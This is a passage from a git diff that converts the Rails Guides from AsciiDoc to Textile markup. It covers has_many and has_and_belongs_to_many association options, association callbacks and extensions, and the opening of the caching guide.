 NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
 
-===== +:dependent+
+h6. :dependent
 
 If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the +:dependent+ option to +:delete_all+, then deleting this object will delete the associated objects _without_ calling their +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the associated objects to +NULL+.
 
 NOTE: This option is ignored when you use the +:through+ option on the association.
 
-===== +:extend+
+h6. :extend
 
-The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.
+The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.
 
-===== +:finder_sql+
+h6. :finder_sql
 
 Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
 
-===== +:foreign_key+
+h6. :foreign_key
 
 By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
   has_many :orders, :foreign_key => "cust_id"
 end
--------------------------------------------------------
+
 
 TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
 
-===== +:group+
+h6. :group
 
 The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
   has_many :line_items, :through => :orders, :group => "orders.id"
 end
--------------------------------------------------------
+
 
-===== +:include+
+h6. :include
 
-You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
   has_many :orders
 end
+
 class Order < ActiveRecord::Base
   belongs_to :customer
   has_many :line_items
 end
+
 class LineItem < ActiveRecord::Base
   belongs_to :order
 end
--------------------------------------------------------
+
 
 If you frequently retrieve line items directly from customers (+@customer.orders.line_items+), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
   has_many :orders, :include => :line_items
 end
+
 class Order < ActiveRecord::Base
   belongs_to :customer
   has_many :line_items
 end
+
 class LineItem < ActiveRecord::Base
   belongs_to :order
 end
--------------------------------------------------------
+
 
-===== +:limit+
+h6. :limit
 
 The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
-  has_many :recent_orders, :class_name => "Order", :order => "order_date DESC", :limit => 100
+  has_many :recent_orders, :class_name => "Order",
+    :order => "order_date DESC", :limit => 100
 end
--------------------------------------------------------
+
 
-===== +:offset+
+h6. :offset
 
 The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records.
 
-===== +:order+
+h6. :order
 
 The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause).
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
   has_many :orders, :order => "date_confirmed DESC"
 end
--------------------------------------------------------
+
 
-===== +:primary_key+
+h6. :primary_key
 
 By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
 
-===== +:readonly+
+h6. :readonly
 
 If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
 
-===== +:select+
+h6. :select
 
 The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
 
 WARNING: If you specify your own +:select+, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
 
-===== +:source+
+h6. :source
 
 The +:source+ option specifies the source association name for a +has_many :through+ association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
 
-===== +:source_type+
+h6. :source_type
 
 The +:source_type+ option specifies the source association type for a +has_many :through+ association that proceeds through a polymorphic association.
 
-===== +:through+
+h6. :through
 
-The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.
+The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.
 
-===== +:uniq+
+h6. :uniq
 
 Specify the +:uniq => true+ option to remove duplicates from the collection. This is most useful in conjunction with the +:through+ option.
 
-===== +:validate+
+h6. :validate
 
 If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
 
-==== When are Objects Saved?
+h5. When are Objects Saved?
 
 When you assign an object to a +has_many+ association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
 
@@ -1391,43 +1342,41 @@ If any of these saves fails due to validation errors, then the assignment statem
 
 If the parent object (the one declaring the +has_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
 
-If you want to assign an object to a +has_many+ association without saving the object, use the +_collection_.build+ method.
+If you want to assign an object to a +has_many+ association without saving the object, use the collection.build method.
 
-=== The +has_and_belongs_to_many+ Association
+h4. has_and_belongs_to_many Association Reference
 
 The +has_and_belongs_to_many+ association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
 
-==== Methods Added
+h5. Methods Added
 
 When you declare a +has_and_belongs_to_many+ association, the declaring class automatically gains 13 methods related to the association:
 
-* +_collection_(force_reload = false)+
-* +_collection_<<(object, ...)+
-* +_collection_.delete(object, ...)+
-* +_collection_=objects+
-* +_collection\_singular_\_ids+
-* +_collection\_singular_\_ids=ids+
-* +_collection_.clear+
-* +_collection_.empty?+
-* +_collection_.size+
-* +_collection_.find(...)+
-* +_collection_.exist?(...)+
-* +_collection_.build(attributes = {})+
-* +_collection_.create(attributes = {})+
+* collection(force_reload = false)
+* collection<<(object, ...)
+* collection.delete(object, ...)
+* collection=objects
+* collection_singular_ids
+* collection_singular_ids=ids
+* collection.clear
+* collection.empty?
+* collection.size
+* collection.find(...)
+* collection.exist?(...)
+* collection.build(attributes = {})
+* collection.create(attributes = {})
 
-In all of these methods, +_collection_+ is replaced with the symbol passed as the first argument to +has_many+, and +_collection_\_singular+ is replaced with the singularized version of that symbol.. For example, given the declaration:
+In all of these methods, collection is replaced with the symbol passed as the first argument to +has_and_belongs_to_many+, and collection_singular is replaced with the singularized version of that symbol.. For example, given the declaration:
 
-[source, ruby]
--------------------------------------------------------
+
 class Part < ActiveRecord::Base
   has_and_belongs_to_many :assemblies
 end
--------------------------------------------------------
+
 
 Each instance of the part model will have these methods:
 
-[source, ruby]
--------------------------------------------------------
+
 assemblies(force_reload = false)
 assemblies<<(object, ...)
 assemblies.delete(object, ...)
@@ -1441,133 +1390,125 @@ assemblies.find(...)
 assemblies.exist?(...)
 assemblies.build(attributes = {}, ...)
 assemblies.create(attributes = {})
--------------------------------------------------------
+
 
-===== Additional Column Methods
+h6. Additional Column Methods
 
 If the join table for a +has_and_belongs_to_many+ association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
 
 WARNING: The use of extra attributes on the join table in a +has_and_belongs_to_many+ association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a +has_many :through+ association instead of +has_and_belongs_to_many+.
 
 
-===== +_collection_(force_reload = false)+
+h6. collection(force_reload = false)
 
-The +_collection_+ method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+The collection method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
 
-[source, ruby]
--------------------------------------------------------
+
 @assemblies = @part.assemblies
--------------------------------------------------------
+
 
-===== +_collection_<<(object, ...)+
+h6. collection<<(object, ...)
 
-The +_collection_<<+ method adds one or more objects to the collection by creating records in the join table.
+The collection<< method adds one or more objects to the collection by creating records in the join table.
 
-[source, ruby]
--------------------------------------------------------
+
 @part.assemblies << @assembly1
--------------------------------------------------------
+
 
-NOTE: This method is aliased as +_collection_.concat+ and +_collection_.push+.
+NOTE: This method is aliased as collection.concat and collection.push.
 
-===== +_collection_.delete(object, ...)+
+h6. collection.delete(object, ...)
 
-The +_collection_.delete+ method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
+The collection.delete method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
 
-[source, ruby]
--------------------------------------------------------
+
 @part.assemblies.delete(@assembly1)
--------------------------------------------------------
+
 
-===== +_collection_=objects+
+h6. collection=objects
 
-The +_collection_=+ method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
 
-===== +_collection\_singular_\_ids+
+h6. collection_singular_ids
 
-#   Returns an array of the associated objects' ids
+The collection_singular_ids method returns an array of the ids of the objects in the collection.
 
-The +_collection\_singular_\_ids+ method returns an array of the ids of the objects in the collection.
-
-[source, ruby]
--------------------------------------------------------
+
 @assembly_ids = @part.assembly_ids
--------------------------------------------------------
+
 
-===== +_collection\_singular_\_ids=ids+
+h6. collection_singular_ids=ids
 
-The +_collection\_singular_\_ids=+ method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+The collection_singular_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
 
-===== +_collection_.clear+
+h6. collection.clear
 
-The +_collection_.clear+ method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.
+The collection.clear method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
 
-===== +_collection_.empty?+
+h6. collection.empty?
 
-The +_collection_.empty?+ method returns +true+ if the collection does not contain any associated objects.
+The collection.empty? method returns +true+ if the collection does not contain any associated objects.
 
-[source, ruby]
--------------------------------------------------------
+
 <% if @part.assemblies.empty? %>
   This part is not used in any assemblies
 <% end %>
--------------------------------------------------------
+
 
-===== +_collection_.size+
+h6. collection.size
 
-The +_collection_.size+ method returns the number of objects in the collection.
+The collection.size method returns the number of objects in the collection.
 
-[source, ruby]
--------------------------------------------------------
+
 @assembly_count = @part.assemblies.size
--------------------------------------------------------
+
 
-===== +_collection_.find(...)+
+h6. collection.find(...)
 
-The +_collection_.find+ method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection.
+The collection.find method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection.
 
-[source, ruby]
--------------------------------------------------------
-@new_assemblies = @part.assemblies.find(:all, :conditions => ["created_at > ?", 2.days.ago])
--------------------------------------------------------
+
+@new_assemblies = @part.assemblies.find(:all,
+  :conditions => ["created_at > ?", 2.days.ago])
+
 
-===== +_collection_.exist?(...)+
+h6. collection.exist?(...)
 
-The +_collection_.exist?+ method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
+The collection.exist? method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
 
-===== +_collection_.build(attributes = {})+
+h6. collection.build(attributes = {})
 
-The +_collection_.build+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
+The collection.build method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
 
-[source, ruby]
--------------------------------------------------------
-@assembly = @part.assemblies.build({:assembly_name => "Transmission housing"})
--------------------------------------------------------
+
+@assembly = @part.assemblies.build(
+  {:assembly_name => "Transmission housing"})
+
 
-===== +_collection_.create(attributes = {})+
+h6. collection.create(attributes = {})
 
-The +_collection_.create+ method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations).
+The collection.create method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations).
 
-[source, ruby]
--------------------------------------------------------
-@assembly = @part.assemblies.create({:assembly_name => "Transmission housing"})
--------------------------------------------------------
+
+@assembly = @part.assemblies.create(
+  {:assembly_name => "Transmission housing"})
+
 
-==== Options for has_and_belongs_to_many
+h5. Options for has_and_belongs_to_many
 
-In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this:
+In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this:
 
-[source, ruby]
--------------------------------------------------------
+
 class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :uniq => true, :read_only => true
+  has_and_belongs_to_many :assemblies, :uniq => true,
+    :read_only => true
 end
--------------------------------------------------------
+
 
 The +has_and_belongs_to_many+ association supports these options:
 
-// * +:accessible+
 * +:association_foreign_key+
+* +:autosave+
 * +:class_name+
 * +:conditions+
 * +:counter_sql+
@@ -1587,153 +1528,150 @@ The +has_and_belongs_to_many+ association supports these options:
 * +:uniq+
 * +:validate+
 
-// ===== +:accessible+
-//
-// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association.
-//
-===== +:association_foreign_key+
+h6. :association_foreign_key
 
 By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly:
 
 TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example:
 
-[source, ruby]
--------------------------------------------------------
+
 class User < ActiveRecord::Base
-  has_and_belongs_to_many :friends, :class_name => "User", 
-    :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
+  has_and_belongs_to_many :friends, :class_name => "User",
+    :foreign_key => "this_user_id",
+    :association_foreign_key => "other_user_id"
 end
--------------------------------------------------------
+
 
-===== +:class_name+
+h6. :autosave
+
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+h6. :class_name
 
 If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is +Gadget+, you'd set things up this way:
 
-[source, ruby]
--------------------------------------------------------
+
 class Parts < ActiveRecord::Base
   has_and_belongs_to_many :assemblies, :class_name => "Gadget"
 end
--------------------------------------------------------
+
 
-===== +:conditions+
+h6. :conditions
 
 The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause).
 
-[source, ruby]
--------------------------------------------------------
+
 class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :conditions => "factory = 'Seattle'"
+  has_and_belongs_to_many :assemblies,
+    :conditions => "factory = 'Seattle'"
 end
--------------------------------------------------------
+
 
 You can also set conditions via a hash:
 
-[source, ruby]
--------------------------------------------------------
+
 class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :conditions => { :factory => 'Seattle' }
+  has_and_belongs_to_many :assemblies,
+    :conditions => { :factory => 'Seattle' }
 end
--------------------------------------------------------
+
 
 If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the factory column has the value "Seattle".
 
-===== +:counter_sql+
+h6. :counter_sql
 
-Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. 
+Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
 
 NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
 
-===== +:delete_sql+
+h6. :delete_sql
 
 Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the +:delete_sql+ option, you can specify a complete SQL statement to delete them yourself.
 
-===== +:extend+
+h6. :extend
 
-The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.
+The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.
 
-===== +:finder_sql+
+h6. :finder_sql
 
 Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
 
-===== +:foreign_key+
+h6. :foreign_key
 
 By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
 
-[source, ruby]
--------------------------------------------------------
+
 class User < ActiveRecord::Base
-  has_and_belongs_to_many :friends, :class_name => "User", 
-    :foreign_key => "this_user_id", :association_foreign_key => "other_user_id"
+  has_and_belongs_to_many :friends, :class_name => "User",
+    :foreign_key => "this_user_id",
+    :association_foreign_key => "other_user_id"
 end
--------------------------------------------------------
+
 
-===== +:group+
+h6. :group
 
 The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
 
-[source, ruby]
--------------------------------------------------------
+
 class Parts < ActiveRecord::Base
   has_and_belongs_to_many :assemblies, :group => "factory"
 end
--------------------------------------------------------
+
 
-===== +:include+
+h6. :include
 
-You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. 
+You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used.
 
-===== +:insert_sql+
+h6. :insert_sql
 
 Normally Rails automatically generates the proper SQL to create links between the associated classes. With the +:insert_sql+ option, you can specify a complete SQL statement to insert them yourself.
 
-===== +:join_table+
+h6. :join_table
 
 If the default name of the join table, based on lexical ordering, is not what you want, you can use the +:join_table+ option to override the default.
 
-===== +:limit+
+h6. :limit
 
 The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
 
-[source, ruby]
--------------------------------------------------------
+
 class Parts < ActiveRecord::Base
-  has_and_belongs_to_many :assemblies, :order => "created_at DESC", :limit => 50
+  has_and_belongs_to_many :assemblies, :order => "created_at DESC",
+    :limit => 50
 end
--------------------------------------------------------
+
 
-===== +:offset+
+h6. :offset
 
 The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records.
 
-===== +:order+
+h6. :order
 
 The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause).
 
-[source, ruby]
--------------------------------------------------------
+
 class Parts < ActiveRecord::Base
   has_and_belongs_to_many :assemblies, :order => "assembly_name ASC"
 end
--------------------------------------------------------
+
 
-===== +:readonly+
+h6. :readonly
 
 If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
 
-===== +:select+
+h6. :select
 
 The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
 
-===== +:uniq+
+h6. :uniq
 
 Specify the +:uniq => true+ option to remove duplicates from the collection.
 
-===== +:validate+
+h6. :validate
 
 If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
 
-==== When are Objects Saved?
+h5. When are Objects Saved?
 
 When you assign an object to a +has_and_belongs_to_many+ association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
 
@@ -1741,9 +1679,9 @@ If any of these saves fails due to validation errors, then the assignment statem
 
 If the parent object (the one declaring the +has_and_belongs_to_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
 
-If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the +_collection_.build+ method.
+If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the collection.build method.
 
-=== Association Callbacks
+h4. Association Callbacks
 
 Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a +:before_save+ callback to cause something to happen just before an object is saved.
 
@@ -1756,8 +1694,7 @@ Association callbacks are similar to normal callbacks, but they are triggered by
 
 You define association callbacks by adding options to the association declaration. For example:
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
   has_many :orders, :before_add => :check_credit_limit
 
@@ -1765,16 +1702,16 @@ class Customer < ActiveRecord::Base
     ...
   end
 end
--------------------------------------------------------
+
 
 Rails passes the object being added or removed to the callback.
 
 You can stack callbacks on a single event by passing them as an array:
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
-  has_many :orders, :before_add => [:check_credit_limit, :calculate_shipping_charges]
+  has_many :orders,
+    :before_add => [:check_credit_limit, :calculate_shipping_charges]
 
   def check_credit_limit(order)
     ...
@@ -1784,16 +1721,15 @@ class Customer < ActiveRecord::Base
     ...
   end
 end
--------------------------------------------------------
+
 
 If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection.
 
-=== Association Extensions
+h4. Association Extensions
 
 You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
   has_many :orders do
     def find_by_order_prefix(order_number)
@@ -1801,12 +1737,11 @@ class Customer < ActiveRecord::Base
     end
   end
 end
--------------------------------------------------------
+
 
 If you have an extension that should be shared by many associations, you can use a named extension module. For example:
 
-[source, ruby]
--------------------------------------------------------
+
 module FindRecentExtension
   def find_recent
     find(:all, :conditions => ["created_at > ?", 5.days.ago])
@@ -1820,16 +1755,16 @@ end
 class Supplier < ActiveRecord::Base
   has_many :deliveries, :extend => FindRecentExtension
 end
--------------------------------------------------------
+
 
 To include more than one extension module in a single association, specify an array of names:
 
-[source, ruby]
--------------------------------------------------------
+
 class Customer < ActiveRecord::Base
-  has_many :orders, :extend => [FindRecentExtension, FindActiveExtension]
+  has_many :orders,
+    :extend => [FindRecentExtension, FindActiveExtension]
 end
--------------------------------------------------------
+
 
 Extensions can refer to the internals of the association proxy using these three accessors:
 
@@ -1837,10 +1772,11 @@ Extensions can refer to the internals of the association proxy using these three
 * +proxy_reflection+ returns the reflection object that describes the association.
 * +proxy_target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+.
 
-== Changelog ==
+h3. Changelog
 
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11
 
-* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version.
-* September 22, 2008: Added diagrams, misc. cleanup by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
-* September 14, 2008: initial version by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication)
+* February 1, 2009: Added +:autosave+ option "Mike Gunderloy":credits.html#mgunderloy
+* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by "Mike Gunderloy":credits.html#mgunderloy . First release version.
+* September 22, 2008: Added diagrams, misc. cleanup by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+* September 14, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
diff --git a/vendor/rails/railties/doc/guides/source/caching_with_rails.txt b/vendor/rails/railties/guides/source/caching_with_rails.textile
similarity index 57%
rename from vendor/rails/railties/doc/guides/source/caching_with_rails.txt
rename to vendor/rails/railties/guides/source/caching_with_rails.textile
index 6da67ed4..9736be84 100644
--- a/vendor/rails/railties/doc/guides/source/caching_with_rails.txt
+++ b/vendor/rails/railties/guides/source/caching_with_rails.textile
@@ -1,40 +1,39 @@
-Caching with Rails: An overview
-===============================
+h2. Caching with Rails: An overview
 
 Everyone caches. This guide will teach you what you need to know about
 avoiding that expensive round-trip to your database and returning what you
 need to return to those hungry web clients in the shortest time possible.
 
-== Basic Caching
+endprologue.
+
+h3. Basic Caching
 
 This is an introduction to the three types of caching techniques that Rails
 provides by default without the use of any third party plugins.
 
-To get started make sure `config.action_controller.perform_caching` is set
-to `true` for your environment. This flag is normally set in the
+To get started make sure +config.action_controller.perform_caching+ is set
+to +true+ for your environment. This flag is normally set in the
 corresponding config/environments/*.rb and caching is disabled by default
 there for development and test, and enabled for production.
 
-[source, ruby]
------------------------------------------------------
+
 config.action_controller.perform_caching = true
------------------------------------------------------
+
 
-=== Page Caching
+h4. Page Caching
 
 Page caching is a Rails mechanism which allows the request for a generated
 page to be fulfilled by the webserver, without ever having to go through the
 Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be
 applied to every situation (such as pages that need authentication) and since
 the webserver is literally just serving a file from the filesystem, cache
-expiration is an issue that needs to be dealt with. 
+expiration is an issue that needs to be dealt with.
 
 So, how do you enable this super-fast cache behavior?  Simple, let's say you
 have a controller called ProductsController and a 'list' action that lists all
 the products
 
-[source, ruby]
------------------------------------------------------
+
 class ProductsController < ActionController
 
   caches_page :index
@@ -42,30 +41,29 @@ class ProductsController < ActionController
   def index; end
 
 end
------------------------------------------------------
+
 
 The first time anyone requests products/index, Rails will generate a file
-called `index.html` and the webserver will then look for that file before it
+called +index.html+ and the webserver will then look for that file before it
 passes the next request for products/index to your Rails application.
 
 By default, the page cache directory is set to Rails.public_path (which is
-usually set to `RAILS_ROOT + "/public"`) and this can be configured by
-changing the configuration setting `config.action_controller.page_cache_directory`.
+usually set to +RAILS_ROOT + "/public"+) and this can be configured by
+changing the configuration setting +config.action_controller.page_cache_directory+.
 Changing the default from /public helps avoid naming conflicts, since you may
 want to put other static html in /public, but changing this will require web
 server reconfiguration to let the web server know where to serve the cached
 files from.
 
-The Page Caching mechanism will automatically add a `.html` exxtension to
+The Page Caching mechanism will automatically add a +.html+ extension to
 requests for pages that do not have an extension to make it easy for the
 webserver to find those pages and this can be configured by changing the
-configuration setting `config.action_controller.page_cache_extension`.
+configuration setting +config.action_controller.page_cache_extension+.
 
 In order to expire this page when a new product is added we could extend our
-example controler like this:
+example controller like this:
 
-[source, ruby]
------------------------------------------------------
+
 class ProductsController < ActionController
 
   caches_page :list
@@ -77,14 +75,14 @@ class ProductsController < ActionController
   end
 
 end
------------------------------------------------------
+
 
 If you want a more complicated expiration scheme, you can use cache sweepers
 to expire cached objects when things change. This is covered in the section on Sweepers.
 
-[More: caching paginated results? more examples? Walk-through of page caching?]
+Note: Page caching ignores all parameters, so /products/list?page=1 will be written out to the filesystem as /products/list.html and if someone requests /products/list?page=2, they will be returned the same result as page=1, so be careful when page caching GET parameters in the URL!
 
-=== Action Caching
+h4. Action Caching
 
 One of the issues with Page Caching is that you cannot use it for pages that
 require to restrict access somehow. This is where Action Caching comes in.
@@ -97,10 +95,9 @@ result of the output from a cached copy.
 Clearing the cache works in the exact same way as with Page Caching.
 
 Let's say you only wanted authenticated users to edit or create a Product
-object, but still cache those pages: 
+object, but still cache those pages:
 
-[source, ruby]
------------------------------------------------------
+
 class ProductsController < ActionController
 
   before_filter :authenticate, :only => [ :edit, :create ]
@@ -117,21 +114,24 @@ class ProductsController < ActionController
   def edit; end
 
 end
------------------------------------------------------
+
 
-And you can also use `:if` (or `:unless`) to pass a Proc that specifies when the
-action should be cached. Also, you can use `:layout => false` to cache without
+And you can also use +:if+ (or +:unless+) to pass a Proc that specifies when the
+action should be cached. Also, you can use +:layout => false+ to cache without
 layout so that dynamic information in the layout such as logged in user info
 or the number of items in the cart can be left uncached. This feature is
 available as of Rails 2.2.
 
+You can modify the default action cache path by passing a +:cache_path+ option.
+This will be passed directly to ActionCachePath.path_for.  This is handy for
+actions with multiple possible routes that should be cached differently.  If
+a block is given, it is called with the current controller instance.  
 
-[More: more examples? Walk-through of Action Caching from request to response?
-       Description of Rake tasks to clear cached files? Show example of
-       subdomain caching? Talk about :cache_path, :if and assing blocks/Procs
-       to expire_action?]
+Finally, if you are using memcached, you can also pass +:expires_in+. In fact,
+all parameters not used by caches_action are sent to the underlying cache
+store. 
 
-=== Fragment Caching
+h4. Fragment Caching
 
 Life would be perfect if we could get away with caching the entire contents of
 a page or action and serving it out to the world. Unfortunately, dynamic web
@@ -141,69 +141,63 @@ created page where different parts of the page need to be cached and expired
 differently Rails provides a mechanism called Fragment Caching.
 
 Fragment Caching allows a fragment of view logic to be wrapped in a cache
-block and served out of the cache store when the next request comes in. 
+block and served out of the cache store when the next request comes in.
 
 As an example, if you wanted to show all the orders placed on your website
 in real time and didn't want to cache that part  of the page, but did want
 to cache the part of the page which lists all products available, you
 could use this piece of code:
 
-[source, ruby]
------------------------------------------------------
+
 <% Order.find_recent.each do |o| %>
   <%= o.buyer.name %> bought <% o.product.name %>
 <% end %>
-  
+
 <% cache do %>
-  All available products: 
+  All available products:
   <% Product.find(:all).each do |p| %>
     <%= link_to p.name, product_url(p) %>
   <% end %>
 <% end %>
------------------------------------------------------
+
 
 The cache block in our example will bind to the action that called it and is
 written out to the same place as the Action Cache, which means that if you
-want to cache multiple fragments per action, you should provide an `action_suffix` to the cache call:
+want to cache multiple fragments per action, you should provide an +action_suffix+ to the cache call:
 
-[source, ruby]
------------------------------------------------------
+
 <% cache(:action => 'recent', :action_suffix => 'all_products') do %>
-  All available products: 
------------------------------------------------------
+  All available products:
